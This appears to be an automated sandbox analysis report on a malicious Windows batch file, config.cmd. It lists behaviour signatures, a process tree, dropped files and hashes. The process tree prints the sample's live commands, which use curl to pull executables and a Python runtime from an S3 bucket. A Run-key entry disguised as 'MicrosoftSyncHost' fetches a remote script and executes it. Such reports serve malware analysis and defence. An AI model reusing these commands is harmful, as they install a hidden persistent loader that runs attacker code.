Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 18:01

General

  • Target
    config.cmd
  • Size 1KB
  • Sample260804-wl6zaabl31
  • SHA256 b9fc40af4c7e9ac1597bb4130b3985467ac90087262349c9bd75f6213d9fba5d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Downloads MZ/PE file 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 15 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config.cmd"
    1⤵
    • Executes a command shell one-liner
    • NTFS ADS
    • Suspicious use of WriteProcessMemory
    PID:3796
    • C:\Windows\system32\curl.exe
      curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.exe" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.exe"
      2⤵
        PID:2732
      • C:\Windows\system32\curl.exe
        curl -sLfk -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.exe" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.exe"
        2⤵
        • Downloads MZ/PE file
        PID:4084
      • C:\Windows\system32\curl.exe
        curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.dll" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.dll"
        2⤵
        • Downloads MZ/PE file
        PID:4628
      • C:\Windows\system32\curl.exe
        curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7zxa.dll" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7zxa.dll"
        2⤵
        • Downloads MZ/PE file
        PID:4728
      • C:\Windows\system32\curl.exe
        curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/python-3.13.13-embed-amd64.zip"
        2⤵
          PID:3304
        • C:\Windows\system32\tar.exe
          tar -xf "C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip" -C "C:\Users\Admin\AppData\Local\Microsoft"
          2⤵
            PID:4616
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftSyncHost" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe\" -c \"import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())\"" /f
            2⤵
            • Adds Run key to start application
            PID:3152
          • C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe
            "C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe" -c "import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:5068

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              _p3783.zip

              • Path C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip
              • Size 10.3MB
              • SHA256 17b4729890accae106bebd1ddbe170f79d3b6462a17b4c867b16a084b1e25293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _p3783.zip:Zone.Identifier

              • Path C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip:Zone.Identifier
              • Size 2B
              • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
              • MD5 SHA1 SHA512

              VCRUNTIME140.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\VCRUNTIME140.dll
              • Size 117KB
              • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _bz2.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_bz2.pyd
              • Size 84KB
              • SHA256 1bf985b54f529a3cbb3e52532791cc4d4c64009142d37b54eb3521adec203d5c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _ctypes.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_ctypes.pyd
              • Size 131KB
              • SHA256 96b07339d52c74f2a1dd043df5eb931e4072eed90a3a8715ffec751d818e4117
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _hashlib.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_hashlib.pyd
              • Size 67KB
              • SHA256 50f3ce7a2281fd32f378f3ba5067bdd13e18ee95877db5199c6a0babdc9c516a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _lzma.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_lzma.pyd
              • Size 155KB
              • SHA256 51815b6474d4216c6a2aeaffdae5d2ff4acb7a0236254f2cfe43247022f3d781
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _socket.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_socket.pyd
              • Size 84KB
              • SHA256 8676f3cebd9d01c7ad51a29b3f7ff429c0a8f6bc564cab21eb6cdaa2e26fd259
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _ssl.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_ssl.pyd
              • Size 177KB
              • SHA256 b8118580b461801df12ec12d3d666aa0ebc2b3750bcf92b90b92789b152bf856
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libcrypto-3.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libcrypto-3.dll
              • Size 5.0MB
              • SHA256 eaf6d613b95b61a39558d84c50e72630a66c99914292df88e7b54ebd60c5bd34
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libffi-8.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libffi-8.dll
              • Size 38KB
              • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libssl-3.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libssl-3.dll
              • Size 776KB
              • SHA256 cf1a5fdcefa3daf69041f31f98ece1d7911ca4fcb8e9f1043b4d0f459ae4c936
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python3.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python3.dll
              • Size 70KB
              • SHA256 cbc4876275178244905ee45a9ee6ec9fa4bfb9aad6209a03b756d38a186f80d1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python313._pth

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313._pth
              • Size 80B
              • SHA256 35ddf94682ff9aa713a8d63557242ad00f3f28fdd39337f02c3bda4c0f791577
              • MD5 SHA1 SHA512 TLSH

              python313.dll

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313.dll
              • Size 5.8MB
              • SHA256 6964e590037c41d631fd1215f05af154f7fa68105993c6f573a20689b473f1ac
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python313.zip

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313.zip
              • Size 3.6MB
              • SHA256 02afd3bd7dcda41f7f05f3f81759dbfa4c31ae2d0ced045110817bfd0f0b99c1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              pythonw.exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe
              • Size 101KB
              • SHA256 e98f517f1fa209c691c57d058e538473c4dedcecacd2e466c3f2bce54fc431f4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              select.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\select.pyd
              • Size 32KB
              • SHA256 ddf1221851814943a82ed8a986d228463404da2ada969661bdd69223f14fc050
              • MD5 SHA1 SHA512 SSDEEP TLSH

              unicodedata.pyd

              • Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\unicodedata.pyd
              • Size 695KB
              • SHA256 b965a80346ee95dbec0b147faab329f3276ba24fceb8df5df171367649f116f3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              loader.log

              • Path C:\Users\Admin\AppData\Local\Temp\loader.log
              • Size 572B
              • SHA256 d8307277b3084004980cad22d21a84ce8f8d3046728e1795ee17f74b2ab4f76d
              • MD5 SHA1 SHA512 TLSH

              poly_diag.log

              • Path C:\Users\Admin\AppData\Local\Temp\poly_diag.log
              • Size 627B
              • SHA256 5ec046570ca0f7a214b44ee7d3bdb593e0069c1333d905a3688ed5d7112f5675
              • MD5 SHA1 SHA512 TLSH

              poly_diag.log

              • Path C:\Users\Admin\AppData\Local\Temp\poly_diag.log
              • Size 1KB
              • SHA256 692a433270dcdc03138924b65ca105805eb76b430a3387a1b2ea10fcb4cb94ae
              • MD5 SHA1 SHA512 TLSH

              memory/5068-138-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-132-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-118-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-140-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-93-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-136-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-134-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-97-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-130-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-128-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-126-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-76-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-124-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-120-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-116-0x0000022242180000-0x0000022242365000-memory.dmp

              memory/5068-122-0x0000022242180000-0x0000022242365000-memory.dmp